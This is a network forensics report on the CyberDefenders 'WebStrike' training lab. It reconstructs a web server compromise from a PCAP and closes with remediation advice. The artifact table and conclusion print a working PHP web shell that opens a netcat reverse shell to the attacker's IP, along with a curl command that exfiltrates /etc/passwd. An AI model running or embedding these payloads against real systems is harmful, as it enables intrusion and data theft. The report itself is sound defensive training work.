DIGITAL FORENSICS INVESTIGATION REPORT

WebStrike Lab — Network Forensics

Case Name	WebStrike Lab
Case Number	2026-008
Examiner	Tej Chaute
Date	05/04/2026
Platform	CyberDefenders
Evidence File	WebStrike.pcap -- SHA256: 5b8dc7c1750f9a86b4b60e33c504643dfdf1df6e28d06c2ef34c92497aeb9066
Classification	Training

1. Case Summary

A suspicious file activity was detected on a company web server, prompting concerns of a potential compromise. Network traffic was captured and analyzed to determine the nature of the attack, identify exploitation techniques, and assess the impact on the system.

Analysis of the PCAP file revealed that an external attacker initiated communication with the server, exploited a vulnerable file upload functionality, and successfully deployed a malicious web shell. The attacker then executed a reverse shell to gain remote command execution and proceeded to exfiltrate sensitive system data. The attack demonstrates a complete compromise lifecycle, including initial access, exploitation, command-and-control communication, and data exfiltration.

2. Evidence Examined

Item	Filename	Hash (SHA256)	File Size
001	WebStrike.pcap	5b8dc7c1750f9a86b4b60e33c504643dfdf1df6e28d06c2ef34c92497aeb9066	52.6 KB

3. Tools Used

Tool	Version	Purpose
Wireshark	4.6.4	Network traffic analysis, packet inspection, stream reconstruction
KeyCDN Geo IP Tool	--	Geolocation of attacker IP address (tools.keycdn.com/geo)

4. Key Findings

Each finding below is supported by network artifacts extracted from the PCAP file. Timestamps reflect packet capture time in UTC.

4.1 Network Context

Field	Value
Attacker IP	117.11.88.124
Attacker Location	Tianjin City, China
Victim Server IP	24.49.63.79
Server OS	Linux (confirmed via /etc/passwd access)
C2 Port	8080 (reverse shell)
Exfil Port	443 (curl POST to attacker server)
Attack Vector	Insecure file upload — /reviews/upload.php

4.1 Artifact Table

#	Artifact Type	Location / Path	Timestamp (UTC)	What It Proves
1	HTTP Request	GET / (src: 117.11.88.124 → dst: 24.49.63.79)	2023-11-30 18:43:28	This request represents the initial interaction between the attacker (117.11.88.124) and the victim

#	Artifact Type	Location / Path	Timestamp (UTC)	What It Proves
				server (24.49.63.79). It confirms that the attacker actively initiated communication with the target web application, marking the beginning of reconnaissance or probing activity prior to exploitation.
2	HTTP POST	/reviews/upload.php (multipart/form-data) Filename: image.jpg.php Content: <?php system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 117.11.88.124 8080 >/tmp/f"); ?>	2023-11-30 18:44:18	The POST request containing multipart/form-data confirms that the attacker exploited a file upload functionality to deliver a malicious payload. The presence of the file image.jpg.php demonstrates a deliberate attempt to bypass file validation controls using a double extension technique, leading to successful web shell deployment.
3	File Access	/reviews/uploads/image.jpg.php	2023-11-30 18:44:18+	Subsequent HTTP GET requests to the uploaded file confirm that the malicious web shell was not only stored successfully but also executed by the server. This demonstrates that the upload directory allowed execution of server-side scripts, resulting in remote code execution capability for the attacker.
4	TCP Traffic (Reverse Shell)	Outbound connection: 24.49.63.79 → 117.11.88.124:8080	2023-11-30 18:46:39	Network traffic directed to port 8080 confirms that the compromised server initiated an outbound connection to the attacker's machine. This behavior is consistent with a reverse shell, where the victim system connects back to the attacker, enabling persistent and interactive command execution while bypassing inbound firewall restrictions.
5	Command Execution	Reverse shell session (TCP stream) Command: curl -X POST -d /etc/passwd	2023-11-30 18:46:39+	The presence of a curl command targeting /etc/passwd confirms that the attacker accessed

#	Artifact Type	Location / Path	Timestamp (UTC)	What It Proves
		http://117.11.88.124:443/ File accessed: /etc/passwd		sensitive system files and performed data exfiltration. This demonstrates post-exploitation activity, including system enumeration and unauthorized data transfer to an attacker-controlled endpoint.

5. Event Timeline

Reconstructed chronological sequence of events based on artifact timestamps. All times in UTC.

Timestamp (UTC)	Artifact Source	Event Description
2023-11-30 18:43:28	Network Traffic (HTTP GET) (Wireshark)	The attacker (117.11.88.124) initiated communication with the target web server (24.49.63.79) by sending an HTTP GET request to the root endpoint. This activity represents the initial access phase, where the attacker begins interacting with the application, likely to explore available functionality and identify potential attack vectors.
2023-11-30 18:44:18	Network Traffic (HTTP POST) (Wireshark)	The attacker issued an HTTP POST request to /reviews/upload.php, submitting a file using multipart/form-data encoding. The uploaded file (image.jpg.php) indicates a deliberate attempt to bypass file upload restrictions using a double extension, successfully exploiting the application and deploying a malicious web shell onto the server.
2023-11-30 18:44:18 ~	Network Traffic (HTTP Requests) (Wireshark)	Shortly after the upload, the attacker accessed /reviews/uploads/image.jpg.php, confirming that the file was successfully stored in a web-accessible directory and executed by the server. This marks the transition from exploitation to execution, granting the attacker remote command execution capabilities through the web shell.
2023-11-30 18:46:39	TCP Traffic (Port 8080) (Wireshark)	The compromised server initiated an outbound TCP connection to the attacker's system on port 8080. This behavior confirms the successful execution of a reverse shell payload, establishing a command-and-control channel that allows the attacker to remotely interact with the system using an interactive shell session.

Timestamp (UTC)	Artifact Source	Event Description
2023-11-30 18:46:39 ~	TCP Stream Analysis (Wireshark)	Within the established reverse shell session, the attacker executed commands to access sensitive system data, including the /etc/passwd file. The use of a curl POST request to transmit this file to an external server (117.11.88.124:443) confirms data exfiltration, indicating that the attacker moved beyond access and performed unauthorized data extraction.

6. Conclusion

The forensic investigation confirms that the web server (24.49.63.79) was successfully compromised by an attacker operating from Tianjin City, China (117.11.88.124) through exploitation of an insecure file upload endpoint at /reviews/upload.php.

The attacker uploaded a PHP file named image.jpg.php using a double extension technique to bypass file type validation. The file contained a netcat reverse shell payload: rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 117.11.88.124 8080 >/tmp/f. Upon execution, this payload established an outbound TCP connection from the victim server back to the attacker on port 8080, bypassing inbound firewall restrictions and granting interactive shell access.

Within the reverse shell session, the attacker executed a curl POST command to exfiltrate the /etc/passwd file to their server over port 443 — using HTTPS port to blend exfiltration traffic with legitimate outbound connections. The attack demonstrates a complete intrusion lifecycle: reconnaissance, exploitation via insecure file upload, remote code execution through web shell, reverse shell C2, and data exfiltration.

Two contributing vulnerabilities enabled this compromise: the upload endpoint accepted files without validating executable extensions, and the upload directory (/reviews/uploads/) permitted server-side PHP execution. Either control alone would have prevented the attack.

7. Examiner Notes

This investigation was conducted retrospectively as part of a structured DFIR learning path and represents the first network forensics case in this portfolio. Notes were partially recorded during live analysis and completed after challenge submission.

Key methodological observations from this case:

- Attacker identification in PCAP analysis requires confirming who initiated the connection, not just which IP appears most frequently. In this case the attacker sent the first SYN packet, establishing direction of the attack before any exploitation occurred.
- The use of a legitimate User-Agent string in the attacker's HTTP requests demonstrates how adversaries blend with normal traffic. User-Agent alone should never be used for attribution — behavioural evidence (connection initiation, payload content, C2 patterns) is required.
- The double extension bypass (image.jpg.php) works against upload filters that check only the first extension or MIME type without validating the final extension used by the web server for execution. Documenting the exact filename is important — it identifies the specific bypass technique used.
- The web shell payload used a named pipe (/tmp/f) with mkfifo to create a bidirectional netcat reverse shell — a classic Linux technique for interactive shell over a single TCP connection. Recognising this pattern in a TCP stream is a core network forensics skill.
- The attacker exfiltrated data over port 443 (HTTPS port) using plain HTTP — a common technique to disguise outbound data transfers as legitimate HTTPS traffic to evade egress filtering. In a real environment this would require TLS inspection to detect.
- Following the TCP stream in Wireshark (right-click → Follow → TCP Stream) was the primary method for recovering both the web shell content and the exfiltration command. This is more reliable than individual packet inspection for reconstructing attacker activity.

If this were a real-world investigation, immediate remediation actions would include: isolating the affected server, removing image.jpg.php from the upload directory, patching the file upload endpoint to reject executable extensions, restricting script execution in upload directories, and reviewing outbound connections from the server for additional exfiltration attempts. A broader review should assess whether lateral movement occurred beyond this single host.